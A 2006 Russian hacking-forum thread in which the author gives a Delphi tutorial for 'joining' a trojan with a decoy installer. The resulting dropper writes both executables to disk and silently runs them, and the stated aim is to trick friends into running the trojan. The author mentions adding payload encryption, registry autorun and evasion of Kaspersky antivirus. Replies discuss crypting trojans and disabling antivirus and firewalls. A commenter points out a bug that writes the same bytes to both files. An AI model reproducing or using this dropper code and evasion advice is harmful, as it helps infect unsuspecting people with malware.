Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   .:Join-им 2 exe-шника ручками (using Delphi):. (https://forum.antichat.xyz/showthread.php?t=18479)

xShreKx 01.05.2006 21:42

.:Join-им 2 exe-шника ручками (using Delphi):.
 
В принципе, причиной написания статьи стало появление php joiner-а на hunger.ru (РЕКЛАМА ;) nerezus, BUG(O)R – с вас причитается))) ). Но проблема в том, что ПОКА он джойнит только 0.5 Мб. Маловато, особенно когда хочешь друзьям подсунуть install какой-нить аудио-видио утилиты =) Поэтому я решил сам придумать способ сджойнить два exe файла. И, о боги! Получилось =)
Итак, статья о том, как «склеить» два исполняемых (да и не только) файла в один без использования joiner-ов. Для этого нам понадобятся:
- Borland Delphi (или другая среда/компилятор для Object Pascal) – 1 шт.;
- HEX-редактор (в моем случае – WinHEX 11.*) – 1 шт.;
- Руки (желательно прямые) – 2 шт.;

Шаг1. Получаем HEX exe-файлов.

Открываем WinHex-ом приготовленные для склейки exe-файлы. А теперь копируем HEX-код в формате для Pascal (массив байтов). В WinHex-е есть такая функция: Edit -> Copy All -> Pascal Source. Получаем нечто подобное:

Код 1.1
Код:

data: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …

);

Давайте, для «файла-троя» (а зачем еще джойнить?! =) ) мы будем использовать data, а для программы-прикрытия data2. ОК? =) Тогда у нас будет два массива data и data2, приблизительный вид которых представлен в Коде 1.1.

Такой способ позволяет нам сразу получить массив с байтами файла.
Конечно, можно, при отсутствии редактора, создать прикладную программу для того, чтобы автоматически получать HEX в формат pascal. Но, если захотите, этого я коснусь в продолжении к статье… (короче, узнаю – напишу ;) )

Шаг2. Создание «joining» процесса.

Итак, первое, что нам понадобится - это процесс, который будет включать в себя склеенные файлы, а при запуске создавать отдельные файлы и запускать их.
Открываем Delphi. Нам, как всегда, предлагают «готовую» форму. Зачем она нам? Удаляем из проекта Unit1.pas. Теперь смотрим, что осталось: Project -> View Source.
Появляются сырцы project1.dpr:

Код 2.1
Код:

program Project1;

uses
  Forms;
// Не уверен, но тут может остаться Unit1 in 'Unit1.pas' {Form1}

{$R *.res}

begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

Даже удалив Unit1.pas, мы не избавились от всех гадостей, которые предлагает дядя Борланд и К: многовесящий, и в нашем случае бесполезный модуль Forms, содержащий в себе ту самую Application. Все сносим! Должно остаться

Код 2.2
Код:

program Project1;

uses

{$R *.res}

begin

end.

А вот теперь подключаем требуемые модули… Здесь вы можете проявить самостоятельность и воплотить все свои тайные желания ;)
Но я лично пока ограничусь тремя обязательными в нашем случае библиотеками…
Это windows, classes и shellapi. Из первой мы получим Handle (hwnd) нашего процесса, вторая нам потребуется для создания файлов из файлового потока TFileStream а третья – для запуска этих файлов функцией ShellExecute.

Код 2.3
Код:

program Project1;

uses
windows, classes, shellapi;
{$R *.res}

begin

end.

Шаг 3. Объединение.

У нас есть:
1. Массивы с байтами двух exe-файлов
2. Невидимый процесс (он, конечно, видимый в ctrl+alt+del, но т.к. после запуска он и 1 секунды не живет, то бояться нечего =))
3. Прямые руки (Что? Нет? Блин…)
Отсюда вывод – объединим и будет счастье! Для этого прямыми руками (если нет своих, просим друзей) добавляем в Код 2.3 объявление двух переменных и двух констант. Получаем:





Код 3.1
Код:

program Project1;

uses
windows, classes, shellapi

{$R *.res}

var //тут описание переменных
Handle: hwnd; //Переменная для хранения handle нашего процесса
Exe: TFileStream; //Файловый поток
const
data: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
… //Тут куча строк (зависит от файлв)
); //Массив байтов нашего троя
data2: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
… //Тут куча строк (зависит от файлв)
); //Массив байтов программы-подставы

begin

end.

А между begin и end делаем следующее:
1.Получаем Handle своего процесса: Handle:=GetModuleHandle(nil); Он нам понадобится для вызова ShellExecute.
2. Создаем Файловый поток Exe:=TFileStream.create('Путь/filename.exe',fmcreate); Где заменяете Путь/filename на свой путь и имя файла – это файл, который будет работать как программа-. Опять же тут возможны вариации. Лично для своих целей я написал функцию поиска каталога %windir%/system32 =)
3. Заполняем Файловый поток байтами программы-прикрытия с нашего первого массива exe.Write(data2,кол-во байтов в файле); Кол-во байтов можно узнать из свойств exe-файла.
4. exe.Free; //no comments =)
5. А теперь запускаем созданный файл: ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); Понятно, что путь и имя файла должны совпадать с заданными в пункте 2.
А теперь то же самое проделываем с массивом байтов нашего троя. Вот конечный код программы:

Код 3.2
Код:

program Project1;

uses
windows, classes, shellapi

{$R *.res}

var //тут описание переменных
Handle: hwnd; //Переменная для хранения handle нашего процесса
Exe: TFileStream; //Файловый поток
const
data: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
… //Тут куча строк (зависит от файлв)
); //Массив байтов нашего троя
data2: array [0..”кол-во байтов в файле - 1“] of byte = (
$4D, $5A, $50, $00 …
… //Тут куча строк (зависит от файлв)
); //Массив байтов программы-подставы

begin //поехали…
Handle:=GetModuleHandle(nil); //Получаем Handle
Exe:=TFileStream.create('Путь/filename.exe',fmcreate); //Инициализация Файлового потока для программы-подставы
exe.Write(data2,1968634);//Запись в поток массива байтов программы-подставы
exe.Free; //освобождаем поток
ShellExecute(Handle,'open','имя файла',nil,’путь_к_файлу’,0); //Запускаем программу-подставу

Exe:=TFileStream.create('Путь2/filename2.exe',fmcreate); //Инициализация Файлового потока для Трояна
exe.Write(data,1968634);//Запись в поток массива байтов трояна
exe.Free; //освобождаем поток
ShellExecute(Handle,'open','имя файла2',nil,’путь_к_файлу2’,0); //Запускаем Трояна.
end.

---------------------------------------------------
Замечание.
Это примитивный код, который в принципе не даст вам многого. Но лично я в своем варианте добавил кодировку байтов Трояна, запись его в автозагрузку через реестр и сейчас пытаюсь незаметно убить к@$пер$кого.

Так что если тема вам интересна, попытаюсь развить =)

З.Ы.
Ругаться - ICQ 28555888
P.P.S
Афтар – я, xShreKx ;) Соблюдайте ;)

Utochka 01.05.2006 21:48

Прикольно, а как криптонуть трой на Delphi слабо написать )

xShreKx 01.05.2006 21:50

Интересно? =) Понятно. Тогда может скоро напишу... Я просто поступаю в этом году (((

nerezus 01.05.2006 23:59

Цитата:

Но проблема в том, что ПОКА он джойнит только 0.5 Мб.
поставил 3 мб.

Радуйтесь ;)

qwe113 27.05.2006 14:43

А в чем джойн??? Твой исходник делает два одинаковых exe только с разными именами(filename.exe,filename2.exe). Ты, наверное, ошибся. Если да, то поправь :)

qwe113 27.05.2006 16:12

Ну я про то, что в filename2.exe пишеться data1.

Brun 12.06.2006 16:22

Читайте про мою программу http://forum.antichat.ru/showthread.php?t=17954
Криптовать можно так, что мама родная не узнаэт. Но перед тем как раскриптовывать нужно рубануть все антивири, фаерволы и т.п. "гадость".

Читайте кому надо
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓


Время: 08:57